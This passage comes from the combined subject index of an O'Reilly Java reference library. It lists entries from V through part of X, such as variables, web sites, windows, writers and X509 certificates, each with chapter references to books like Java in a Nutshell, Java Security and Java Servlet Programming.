values( ), Map interface: 23. The java.util Package, Java in a Nutshell
valueUnbound( ) (HttpSessionBindingListener): 5.8.1. HttpSessionBindingListener, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell
valueUnbound( ) method: 7.5.9. Session Binding Events, Java Servlet Programming
VanillaSearch, web site for downloading: 13.3. Using Regular Expressions, Java Servlet Programming
variable scope: 1.3.2.7. The end of a method, Java in a Nutshell
VariableHeightLayoutCache class: 34. The javax.swing.tree Package, Java Foundation Classes
variables: 1.3.2.4. Declaring a variable and parsing input, Java in a Nutshell
2.5. Expressions and Operators, Java in a Nutshell
array bounds checking: 2.1. Java Language Security Constructs, Java Security
2.2.3. Runtime Enforcement, Java Security
class or static: 3.1.5. A Holistic Counter, Java Servlet Programming
declaring: 1.3.2.4. Declaring a variable and parsing input, Java in a Nutshell
environment: 4. Retrieving Information, Java Servlet Programming
final (constants): 2.1. Java Language Security Constructs, Java Security
modifying: 2.2.2. The Bytecode Verifier, Java Security
IllegalAccessError: 12. The java.lang Package, Java in a Nutshell
initializing: 2.1. Java Language Security Constructs, Java Security
local: 2.6.5. Local Variable Declaration Statements, Java in a Nutshell
3.1.4. A Simple Synchronized Counter, Java Servlet Programming
capitalization/naming conventions: 7.1. Naming and Capitalization Conventions, Java in a Nutshell
nonlocal, manipulated by threads: 3.1.4. A Simple Synchronized Counter, Java Servlet Programming
of security managers: 6.1.2. Protected Instance Variables in the Security Manager, Java Security
SERVER_URL: 4.4.7. How It Was Requested, Java Servlet Programming
static: 11.3.3.2. Inheriting the shared information, Java Servlet Programming
transient: 2.1.1. Object Serialization and Memory Integrity, Java Security
VARNAME attribute: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
Vary header: 6.2. Compressed Content, Java Servlet Programming
VBScript: 1.1.2.2. Active Server Pages, Java Servlet Programming
Vector class: 4.6. Collections, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
vectors, use in database mapping: 9.7.2.1 One-to-many database mapping, Enterprise JavaBeans
vendor naming services, RMI registry and: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
vendors
CORBA-based CTMs, server-side component model differences: 1.6.2 EJB and CORBA CTMs, Enterprise JavaBeans
EJB containers, providing tools for data mapping of primary key and persistent fields: 2.1.1.4 The primary key, Enterprise JavaBeans
EJB object implementation: 2.1.3.1 The EJB object, Enterprise JavaBeans
EJB servers: 4.2.9.2 EJB 1.0 deployment tools, Enterprise JavaBeans
C. EJB Vendors, Enterprise JavaBeans
object-to-relational mapping tools: 9.8 Object-to-Relational Mapping Tools, Enterprise JavaBeans
JDBC URLs, obtaining: 6.2.6.2 EJB 1.0: Using JDBC in EJB, Enterprise JavaBeans
messaging services (JMS and): 1.3.7. JMS: Enterprise Messaging, Java Enterprise in a Nutshell
-verbose option (jarsigner): A.2.1. Creating a Signed JAR File, Java Security
verification (VerifyError): 12. The java.lang Package, Java in a Nutshell
verify( ): 5.5.2. Public Key Signatures for Authentication, Java Distributed Computing
Certificate class: 19. The java.security.cert Package, Java in a Nutshell
Signature class: 17. The java.security Package, Java in a Nutshell
SignedObject class: 17. The java.security Package, Java in a Nutshell
X509Certificate class: 19. The java.security.cert Package, Java in a Nutshell
X509CRL class: 19. The java.security.cert Package, Java in a Nutshell
10.4.5. Revoked Certificates, Java Security
Signature class: 12.1.1. Using the Signature Class, Java Security
SignedObject class: 12.1.2. The SignedObject Class, Java Security
-verify option: 2.2.2.3. Controlling bytecode verification, Java Security
verifying
agent identity: 5.1. Security Issues and Concerns, Java Distributed Computing
5.5.5. Distributing Certified Public Keys, Java Distributed Computing
digital signatures: 5.5.2. Public Key Signatures for Authentication, Java Distributed Computing
incoming objects: 5.1. Security Issues and Concerns, Java Distributed Computing
JAR files: A.2.2. Verifying a JAR File, Java Security
message digests: 9.1. Using the Message Digest Class, Java Security
servlets: 11.1.1. Viewing the Currently Loaded Servlets, Java Servlet Programming
VeriSign certificate authority: 4.4.10. Extra Attributes, Java Servlet Programming
8.2. Digital Certificates, Java Servlet Programming
8.3.1. SSL Client Authentication, Java Servlet Programming
versions: 0. Preface, Java Servlet Programming
2.1.1. Requests, Responses, and Headers, Java Servlet Programming
2.3.2. Running Hello World, Java Servlet Programming
7.4.1. Working with Cookies, Java Servlet Programming
of Java: 0.2. Versions Used in This Book, Java Security
secure applications and: 1.4.2. Built-in Java Application Security, Java Security
SPI and: 8.4. The Architecture of Engine Classes, Java Security
trusted classes: 4.2. Trusted and Untrusted Classes, Java Security
specifying for XML document: 10.3 The Document Header, Enterprise JavaBeans
vetoableChange( ): 2.6.6 Event Reference, Java Foundation Classes
9. The java.beans Package, Java in a Nutshell
VetoableChangeListener interface: 2.6.6 Event Reference, Java Foundation Classes
9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
10. The java.beans.beancontext Package, Java in a Nutshell
VetoableChangeSupport class: 9. The java.beans Package, Java in a Nutshell
View class: 30. The javax.swing.text Package, Java Foundation Classes
ViewFactory interface: 30. The javax.swing.text Package, Java Foundation Classes
ViewListener class: 23. The javax.swing Package, Java Foundation Classes
ViewportUI class: 28. The javax.swing.plaf Package, Java Foundation Classes
viewToModel( ) (View): 30. The javax.swing.text Package, Java Foundation Classes
virtual hosting: 4.2.1. Getting Information About the Server, Java Servlet Programming
virtual machine (see also Java Virtual Machine)
access controller and class loaders: 3.1.1. Class Loaders and Security Enforcement, Java Security
adding security providers: 8.1.2. Choosing a Security Provider, Java Security
8.3. The Security Class, Java Security
casting illegally and: 2.1. Java Language Security Constructs, Java Security
2.2.3. Runtime Enforcement, Java Security
identifier class (VMID): 15. The java.rmi.dgc Package, Java Enterprise in a Nutshell
listing security providers: 8.3. The Security Class, Java Security
protecting with security managers: 4.3.4. Methods Protecting the Java Virtual Machine, Java Security
reading into (see class loaders)
runtime bytecode verification: 2.2.3. Runtime Enforcement, Java Security
virtual path: 4.4.3. Path Information, Java Servlet Programming
VirtualMachineError: 12. The java.lang Package, Java in a Nutshell
viruses: 1.1. What Is Security?, Java Security
in commercial software: 7.1. The Need for Authentication, Java Security
visibility
members, working with: 14. The java.lang.reflect Package, Java in a Nutshell
Visibility interface: 9. The java.beans Package, Java in a Nutshell
visiting agents: 5.1. Security Issues and Concerns, Java Distributed Computing
Visual Engineering's JavaChart package
free applets in: 6.1.5.2. A generic applet viewer, Java Servlet Programming
web site for downloading: 6.1.1.2. A dynamically generated chart, Java Servlet Programming
VM implementations: 1.1.2. The Java Virtual Machine, Java in a Nutshell
VMID class: 15. The java.rmi.dgc Package, Java Enterprise in a Nutshell
Void class: 12. The java.lang Package, Java in a Nutshell
VSPACE attribute, <APPLET> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: W

WAI interface: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
WAI (NSAPI), a Netscape API: 1.1.2.1. Server Extension APIs, Java Servlet Programming
WAICoolRunner, web site for information: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
wait( ): 3.1.1. RMI in Action, Java Enterprise in a Nutshell
ORB, keep running: 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
wait( ) (Object): 4.8. Threads, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell
Object class: 12. The java.lang Package, Java in a Nutshell
waitFor( ): 12. The java.lang Package, Java in a Nutshell
waitForAll( ): 4.1.5 Images, Java Foundation Classes
waitForID( ) (MediaTracker): 9. The java.awt Package, Java Foundation Classes
.war (web archive) files: 11.4 J2EE Fills in the Gaps, Enterprise JavaBeans
warnings (application debugging): 2.7.1. SQL Warnings, Java Enterprise in a Nutshell
warnings (SQL): 2.7.1. SQL Warnings, Java Enterprise in a Nutshell
wasNull( ) (ResultSet): 2.6.1. Handling Nulls, Java Enterprise in a Nutshell
weak references, package for: 4.1. Java Platform Overview, Java in a Nutshell
WeakHashMap class: 23. The java.util Package, Java in a Nutshell
WeakReference class: 13. The java.lang.ref Package, Java in a Nutshell
13. The java.lang.ref Package, Java in a Nutshell
weaponry and encryption: 13.1. Export Restrictions, Java Security
weather forecasting example: 5.4.2. Generating a Weather Forecast, Java Servlet Programming
web application, definition: 1.1. History of Web Applications, Java Servlet Programming
web applications, session tracking: 5.8. Session Tracking, Java Enterprise in a Nutshell
web browsers
example: 8.5.2. Web Browsing, Java Distributed Computing
servlets, using: 1.3.6. Servlets, Java Enterprise in a Nutshell
writing applets for: 1. The Java Foundation Classes, Java Foundation Classes
Web Client Programming book: 2.1. HTTP Basics, Java Servlet Programming
4.4.8. Request Headers, Java Servlet Programming
5.3. Using Persistent Connections, Java Servlet Programming
13.7.5. Examine the Client Request, Java Servlet Programming
web components
accessing enterprise beans through client APIs: 11.3 Web Components and EJB, Enterprise JavaBeans
client access via HTTP/HTTPS: 11.4.3 Connectivity and Interoperability, Enterprise JavaBeans
deployment descriptor example: 11.4 J2EE Fills in the Gaps, Enterprise JavaBeans
EJB and: 11.3 Web Components and EJB, Enterprise JavaBeans
J2EE specification for interaction with EJB: 11.3 Web Components and EJB, Enterprise JavaBeans
web pages, processing requests for with Servlets: 11.1 Servlets, Enterprise JavaBeans
Web Security & Commerce book: 8. Security, Java Servlet Programming
web servers
cookies: 5.7. Cookies, Java Enterprise in a Nutshell
GenericServlet class and: 5.2. Servlet Basics, Java Enterprise in a Nutshell
web servers in application servers: 1.1.3 Component Transaction Monitors, Enterprise JavaBeans
resource abstraction (servlets): 5.10.3. Resource Abstraction, Java Enterprise in a Nutshell
servlet instances, pooling: 5.5. Thread Safety, Java Enterprise in a Nutshell
servlet security, handling: 5.2.7. Security, Java Enterprise in a Nutshell
servlets, using: 1.3.6. Servlets, Java Enterprise in a Nutshell
web sites
Activated Intelligence's Java Image Management Interface (JIMI): 6.1.1.1. A ``Hello World'' image, Java Servlet Programming
ASP programming: 1.1.2.2. Active Server Pages, Java Servlet Programming
ASP support for web servers: 1.1.2.2. Active Server Pages, Java Servlet Programming
bug reports and typos: 0.5. Request for Comments, Java Servlet Programming
certificate authorities: 8.2. Digital Certificates, Java Servlet Programming
character set, difference from charset: 12.3.1. Charsets, Java Servlet Programming
charting packages: 6.1.1.2. A dynamically generated chart, Java Servlet Programming
code for stopping threads: 3.5. Background Processing, Java Servlet Programming
color conversion: 6.1.3.1. Converting an image to grayscale, Java Servlet Programming
com.oreilly.servlet source code: 0.2. About the Examples, Java Servlet Programming
demonstrating servlets: 0.2. About the Examples, Java Servlet Programming
downloadable code: 0.2. About the Examples, Java Servlet Programming
examples in this book: 0.4 Examples Online, Java Foundation Classes
FastCGI: 1.1.1.1. FastCGI, Java Servlet Programming
IANA: 12.4.2. Writing UTF-8, Java Servlet Programming
IBM's ServletExpress: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
ICC Profile Format Specification: 10. The java.awt.color Package, Java Foundation Classes
Internet Inter-ORB Protocol: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
ISO-3166 for country codes: 12.2. Conforming to Local Customs, Java Servlet Programming
ISO-639 for language abbreviations: 12.1.1. HTML Character Entities, Java Servlet Programming
Java Exchange's DbConnectionBroker package: 9.4.3. Connection Pooling, Java Servlet Programming
Java Extension Framework: 1.2. Support for Servlets, Java Servlet Programming
Java information: 0.3 Java Programming Resources Online, Java Foundation Classes
Java Plug-in: 7.2.3 Using Applets with the Java Plug-in, Java Foundation Classes
Java Report Online: 3.5. Background Processing, Java Servlet Programming
JavaBeans: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
JavaMail: 13.2. Sending Email, Java Servlet Programming
JavaScript programming: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
JDBC (Java database connectivity)
drivers information: 9.2.1. JDBC Drivers, Java Servlet Programming
specification: 9.2. The JDBC API, Java Servlet Programming
JDK (Java Development Kit): 0.2. About the Examples, Java Servlet Programming
JSDK (Java Servlet Development Kit): 0.2. About the Examples, Java Servlet Programming
1.2. Support for Servlets, Java Servlet Programming
2.3.2. Running Hello World, Java Servlet Programming
13.7.3. Use a Standard Debugger, Java Servlet Programming
Live Software
JRun: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
ServletDebugger: 13.7.4. Use a Third-Party Tool, Java Servlet Programming
Microsoft
Internet Explorer internationalization: 12.3.2. Writing Encoded Output, Java Servlet Programming
Internet Information Server: 1.1.2.2. Active Server Pages, Java Servlet Programming
mod_perl: 1.1.1.2. mod_perl, Java Servlet Programming
Netscape Navigator
cookie specification: 7.4. Persistent Cookies, Java Servlet Programming
internationalization: 12.3.2. Writing Encoded Output, Java Servlet Programming
Original Reusable Objects' OROMatcher and PerlTools: 13.3. Using Regular Expressions, Java Servlet Programming
PerlEx: 1.1.1.3. PerlEx, Java Servlet Programming
Poskanzer's GIF encoder: 6.1.1.1. A ``Hello World'' image, Java Servlet Programming
RFC 1867 about uploading files: 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
RFC 1630 about URIs, URLs, and URNs: 4.4.5. Determining What Was Requested, Java Servlet Programming
RFC 1521 for Base64 encoding: 8.1.2. Custom Authorization, Java Servlet Programming
RFC 2278 for charsets: 12.3.1. Charsets, Java Servlet Programming
RFC 2109 for cookie specification: 7.4. Persistent Cookies, Java Servlet Programming
RFC 2070 for HTML internationalization: 12.6. HTML Forms, Java Servlet Programming
RFC 2279 for UTF-8 character set: 12.4.1. UCS-2 and UTF-8, Java Servlet Programming
server-side JavaScript programming: 1.1.2.3. Server-side JavaScript, Java Servlet Programming
servers including servlet engines: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
servlet engines
add-on: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
embeddable: 1.2.3. Embeddable Servlet Engines, Java Servlet Programming
list of: 1.2.4. Additional Thoughts, Java Servlet Programming
standalone: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
Thought Inc.'s VanillaSearch: 13.3. Using Regular Expressions, Java Servlet Programming
TLS (Transport Layer Security): 8.3. Secure Sockets Layer (SSL), Java Servlet Programming
Unicode: 12.1.2. Unicode Escapes, Java Servlet Programming
12.1.2. Unicode Escapes, Java Servlet Programming
UTF-8, name of: 12.4.2. Writing UTF-8, Java Servlet Programming
Visual Engineering's JavaChart package: 6.1.1.2. A dynamically generated chart, Java Servlet Programming
6.1.5.2. A generic applet viewer, Java Servlet Programming
WebLogic's htmlKona package: 5.4.1. Generating Hello World, Java Servlet Programming
WebLogic's pool drivers: 9.4.3. Connection Pooling, Java Servlet Programming
WWW Security FAQ: 8.4. Running Servlets Securely, Java Servlet Programming
Web, wevelopment platform: 5. Java Servlets, Java Enterprise in a Nutshell
WebCore, web site for information: 1.2.3. Embeddable Servlet Engines, Java Servlet Programming
WebLogic
htmlKona package
HTML table generation: 9.2.5. Result Sets in Detail, Java Servlet Programming
web site for downloading: 5.4.1. Generating Hello World, Java Servlet Programming
pool drivers, web site for: 9.4.3. Connection Pooling, Java Servlet Programming
Tengah Application Server
JDBC driver: 9.2.1. JDBC Drivers, Java Servlet Programming
web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
Weblogic deployment wizard: 4.2.9.2 EJB 1.0 deployment tools, Enterprise JavaBeans
Weblogic/Bea Tengah server: 7.1. A Note on Evolving Standards, Java Enterprise in a Nutshell
Webmaster in a Nutshell book: 4.4.8. Request Headers, Java Servlet Programming
WebSite Professional, web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
WebSphere Application Server, web site for information: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
welcoming example: 4.3.4. A Personalized Welcome, Java Servlet Programming
while loop: 1.3.2.12. Looping and computing the factorial, Java in a Nutshell
while statements: 2.6.8. The while Statement, Java in a Nutshell
whiteboard example: A.1. Whiteboard Applet, Java Distributed Computing
mouse events and: 10.2. A Shared Whiteboard, Java Distributed Computing
shared: 9.2.2. Maintaining Agent Identities, Java Distributed Computing
10.2. A Shared Whiteboard, Java Distributed Computing
WhiteboardApplet class (example): A.1. Whiteboard Applet, Java Distributed Computing
WhiteboardMediator class (example): 10.2.2.1. List of current users, Java Distributed Computing
WhiteboardUser class (example): 10.2. A Shared Whiteboard, Java Distributed Computing
whitespaceChars( ): 11. The java.io Package, Java in a Nutshell
wide characters (IDL): 10.4.1. Strings and Characters, Java Enterprise in a Nutshell
wide EJB object type, narrowing remote reference: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
widening conversions: 2.4.6. Type Conversions, Java in a Nutshell
widgets (see components)
WIDTH attribute, <APPLET> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes
wildcard searches
DatabaseMetaData methods: 2.9.1. DatabaseMetaData, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
directories: 6.12.1. Search Criteria, Java Enterprise in a Nutshell
escape sequences, JDBC: 2.12. Escape Sequences, Java Enterprise in a Nutshell
SQL (LIKE operator): 8.4.1.1. String comparisons, Java Enterprise in a Nutshell
wildcards
for permissions: 5.2.1. The Permission Class, Java Security
5.2.1. The Permission Class, Java Security
5.2.4. The BasicPermission Class, Java Security
method-intf element in: 10.6.3.4 Remote/home differentiation, Enterprise JavaBeans
method name in method element: 10.6.3.1 Wildcard declarations , Enterprise JavaBeans
Window class: 9. The java.awt Package, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
AWT: 2.4 Containers and Containment, Java Foundation Classes
windowActivated( ): 2.6.6 Event Reference, Java Foundation Classes
WindowAdapter class: 14. The java.awt.event Package, Java Foundation Classes
windowClosed( ): 2.6.6 Event Reference, Java Foundation Classes
windowClosing( ): 2.6.6 Event Reference, Java Foundation Classes
WindowConstants interface: 23. The javax.swing Package, Java Foundation Classes
windowDeactivated( ): 2.6.6 Event Reference, Java Foundation Classes
windowDeiconified( ): 2.6.6 Event Reference, Java Foundation Classes
WindowEvent class: 14. The java.awt.event Package, Java Foundation Classes
windowIconified( ): 2.6.6 Event Reference, Java Foundation Classes
windowing resources, permissions for: 5.2.2. Permissions of the Java API, Java Security
WindowListener interface: 2.6.6 Event Reference, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
windowOpened( ): 2.6.6 Event Reference, Java Foundation Classes
WindowPeer class: 20. The java.awt.peer Package, Java Foundation Classes
windows: 9. The java.awt Package, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
14. The java.awt.event Package, Java Foundation Classes
AWT: 2.4 Containers and Containment, Java Foundation Classes
2.4 Containers and Containment, Java Foundation Classes
calling: 4.3.6. Methods Protecting System Resources, Java Security
Swing: 2.4 Containers and Containment, Java Foundation Classes
2.4 Containers and Containment, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
Windows
Java support for: 7.2.3 Using Applets with the Java Plug-in, Java Foundation Classes
look-and-feel: 3.22 Pluggable Look-and-Feel, Java Foundation Classes
3.22 Pluggable Look-and-Feel, Java Foundation Classes
NT, problem with cmd.exe: 13.4.4. Executing Finger with Redirected Output, Java Servlet Programming
problem with telnet.exe: 13.7.6. Create a Custom Client Request, Java Servlet Programming
RMI registry daemon: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
StringSelection class and: 6.1.2 The Transferable Interface, Java Foundation Classes
wizards: 6.1. Bean Basics, Java in a Nutshell
deployment tools: 4.2.9 Deploying the Cabin Bean, Enterprise JavaBeans
object-to-relational persistence, mapping: 3.2.3.1 Object-to-relational persistence, Enterprise JavaBeans
wordChars( ): 11. The java.io Package, Java in a Nutshell
WordPad: 1.3.1. Compiling and Running the Program, Java in a Nutshell
workflow: 4.3.3.1 EJB 1.1: TravelAgentBean, Enterprise JavaBeans
limiting session beans to: 9.9.2 Limiting Session Beans, Enterprise JavaBeans
separating data from: 4.3 Developing a Session Bean, Enterprise JavaBeans
session beans, modeling with: 2.2.2 Modeling Workflow with Session Beans, Enterprise JavaBeans
7. Session Beans, Enterprise JavaBeans
stateful session beans
management of: 7.3 The Stateful Session Bean, Enterprise JavaBeans
modeling with: 7.3.1.1 TravelAgent: The remote interface, Enterprise JavaBeans
7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
workload distribution: 3.2.3. Other Issues, Java Distributed Computing
World Wide Web Consortium's Jigsaw Server, web site for information: 1.2.1. Standalone Servlet Engines, Java Servlet Programming
WrappedPlainView class: 30. The javax.swing.text Package, Java Foundation Classes
wrapper classes for primitive data types: 6.1.2.2 Single-field key, Enterprise JavaBeans
WritableRaster class: 18. The java.awt.image Package, Java Foundation Classes
WritableRenderedImage class: 18. The java.awt.image Package, Java Foundation Classes
write( ): 11. The java.io Package, Java in a Nutshell
24. The java.util.jar Package, Java in a Nutshell
AbstractWriter class: 30. The javax.swing.text Package, Java Foundation Classes
BufferedWriter class: 11. The java.io Package, Java in a Nutshell
CharArrayWriter class: 11. The java.io Package, Java in a Nutshell
CheckedOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
DataOutputStream class: 11. The java.io Package, Java in a Nutshell
DeflaterOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
DigestOutputStream class: 17. The java.security Package, Java in a Nutshell
EditorKit class: 30. The javax.swing.text Package, Java Foundation Classes
FileOutputStream class: 11. The java.io Package, Java in a Nutshell
FilterOutputStream class: 11. The java.io Package, Java in a Nutshell
FilterWriter class: 11. The java.io Package, Java in a Nutshell
GZIPOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
HTMLEditorKit class: 31. The javax.swing.text.html Package, Java Foundation Classes
Manifest class: 24. The java.util.jar Package, Java in a Nutshell
ObjectOutputStream class: 11. The java.io Package, Java in a Nutshell
ObjID class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
OutputStream class: 11. The java.io Package, Java in a Nutshell
PrintWriter class: 11. The java.io Package, Java in a Nutshell
RTFEditorKit class: 33. The javax.swing.text.rtf Package, Java Foundation Classes
StringWriter class: 11. The java.io Package, Java in a Nutshell
ZipOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
write( )
JavaSpace interface: C.4.1. write( ), Java Distributed Computing
LogStream class: D.3. The java.rmi.server Package, Java Distributed Computing
ObjID class: D.3. The java.rmi.server Package, Java Distributed Computing
UID class: D.3. The java.rmi.server Package, Java Distributed Computing
write locks: 8.3.2 Database Locks, Enterprise JavaBeans
``Write once, run anywhere'': 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
WriteAbortedException: 11. The java.io Package, Java in a Nutshell
writeArgs( ): 6.4.1. Heterogeneous Argument Lists, Java Distributed Computing
writeExternal( ): 11. The java.io Package, Java in a Nutshell
Externalizable interface: 2.1.1. Object Serialization and Memory Integrity, Java Security
writeFields( ), ObjectOutputStream class: 11. The java.io Package, Java in a Nutshell
writeObject( ): 2.1.1. Object Serialization and Memory Integrity, Java Security
ObjectOutputStream class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
Serializable interface: 11. The java.io Package, Java in a Nutshell
Writer classes: 2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
4.10. Input and Output Streams, Java in a Nutshell
writeReplace( ) (Certificate): 19. The java.security.cert Package, Java in a Nutshell
writers
BufferedWriter class: 11. The java.io Package, Java in a Nutshell
CharArrayWriter class: 11. The java.io Package, Java in a Nutshell
FileWriter class: 11. The java.io Package, Java in a Nutshell
FilterWriter class: 11. The java.io Package, Java in a Nutshell
OutputStreamWriter class: 11. The java.io Package, Java in a Nutshell
PipedWriter class: 11. The java.io Package, Java in a Nutshell
PrintWriter class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
StringWriter class: 11. The java.io Package, Java in a Nutshell
Writer class: 11. The java.io Package, Java in a Nutshell
11. The java.io Package, Java in a Nutshell
writeTo( )
CharArrayWriter class: 11. The java.io Package, Java in a Nutshell
writeUTF( )
DataOutputStream class: 11. The java.io Package, Java in a Nutshell
writing identity scopes: B.2.2. Writing an Identity Scope, Java Security
writing key identities: B.3.4. Creating Identities, Java Security
writing to files: 4.3.2. Methods Relating to File Access, Java Security
WrongTransaction class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
WWW-Authenticate header: 4.4.8. Request Headers, Java Servlet Programming
5.6. HTTP Headers, Java Servlet Programming
8.1.2. Custom Authorization, Java Servlet Programming
WWW Security FAQ, web site for information: 8.4. Running Servlets Securely, Java Servlet Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: X

X509 certificates: 10.4.3. The X509Certificate Class, Java Security
advanced methods for: 10.4.4. Advanced X509Certificate Methods, Java Security
distinguished names (DNs): 11.1.1. Principals, Java Security
revoked: 10.4.5. Revoked Certificates, Java Security
serialization and: 12.1.3. Signing and Certificates, Java Security
standard certificate format: 5.7.2.2. Certificates and authentication techniques, Java Distributed Computing
X509Certificate class: 10.4.3. The X509Certificate Class, Java Security
D.2. Package java.security.cert, Java Security
X509CRL class: 10.4.5. Revoked Certificates, Java Security
D.2. Package java.security.cert, Java Security
X509EncodedKeySpec class: 10.3.3.1. The EncodedKeySpec class, Java Security
D.4. Package java.security.spec, Java Security
X509Extension class: D.2. Package java.security.cert, Java Security
x-compress compression format: 6.2. Compressed Content, Java Servlet Programming
X.500 directory services standard: 6.9. Accessing Directory Services, Java Enterprise in a Nutshell
attribute type definition: 6.9.3. The Attributes Interface, Java Enterprise in a Nutshell
Directory Access Protocol (DAP), simplifying: 6.9.1. X.500 Directories, Java Enterprise in a Nutshell
object names, differing from filesystems: 6.9.2. The DirContext Interface, Java Enterprise in a Nutshell
x-gzip compression format: 6.2. Compressed Content, Java Servlet Programming
XA API (distributed transactions standard): 1.3.8. JTA: Managing Distributed Transactions, Java Enterprise in a Nutshell
XA interface: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
XAConnection interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
27. The javax.sql Package, Java Enterprise in a Nutshell
XAConnectionFactory interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XAException class: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
XAQueueConnection interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XAQueueConnectionFactory interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XAQueueSession interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XAResource interface: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
XASession interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XATopicConnection interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XATopicConnectionFactory interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
XATopicSession interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
X509Certificate class: 19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
(see also Certificate class)
X509CRL class: 19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
X509CRLEntry class: 19. The java.security.cert Package, Java in a Nutshell
19. The java.security.cert Package, Java in a Nutshell
(see also CRLEntry class)
XDR-formatted data I/O (example): 2.1.4. Streams, Readers, and Writers for Input and Output, Java Distributed Computing
X509EncodedKeySpec interface: 21. The java.security.spec Package, Java in a Nutshell
X509Extension interface: 19. The java.security.cert Package, Java in a Nutshell
Xid interface: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
XML deployment descriptors: 10.1 What Is an XML Deployment Descriptor?, Enterprise JavaBeans
D.3 XML Deployment Descriptors, Enterprise JavaBeans
7.9.1. XML-Based Deployment Descriptors, Java Enterprise in a Nutshell
application deployment descriptor: 11.4.1 J2EE Application Client Components, Enterprise JavaBeans
bean-managed entity beans (EJB 1.1): 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean, Enterprise JavaBeans
body of document: 10.4 The Descriptor's Body, Enterprise JavaBeans
for client components: 11.4.1 J2EE Application Client Components, Enterprise JavaBeans
container-managed entity bean: 6.1.8.5 EJB 1.1: Deploying the ShipBean, Enterprise JavaBeans
contents of: 10.2 The Contents of a Deployment Descriptor, Enterprise JavaBeans
EJB DTD (Document Type Definition): 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
in ejb-Jar files: 10.7 The ejb-jar File, Enterprise JavaBeans
EJB references, declaring: 7.3.1.4 TravelAgentBean: The bean class, Enterprise JavaBeans
elements: 10.4 The Descriptor's Body, Enterprise JavaBeans
headers: 10.3 The Document Header, Enterprise JavaBeans
method-permission element: 3.2.6.1 EJB 1.1: Role-driven access control, Enterprise JavaBeans
primkey-field element: 6.1.2.2 Single-field key, Enterprise JavaBeans
resource-ref element: 6.2.6.1 EJB 1.1: Using JDBC in EJB, Enterprise JavaBeans
security roles: 3.2.6.1 EJB 1.1: Role-driven access control, Enterprise JavaBeans
Servlets and Java Server Pages (JSP), packaging in: 11. Java 2, Enterprise Edition, Enterprise JavaBeans
session beans: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor , Enterprise JavaBeans
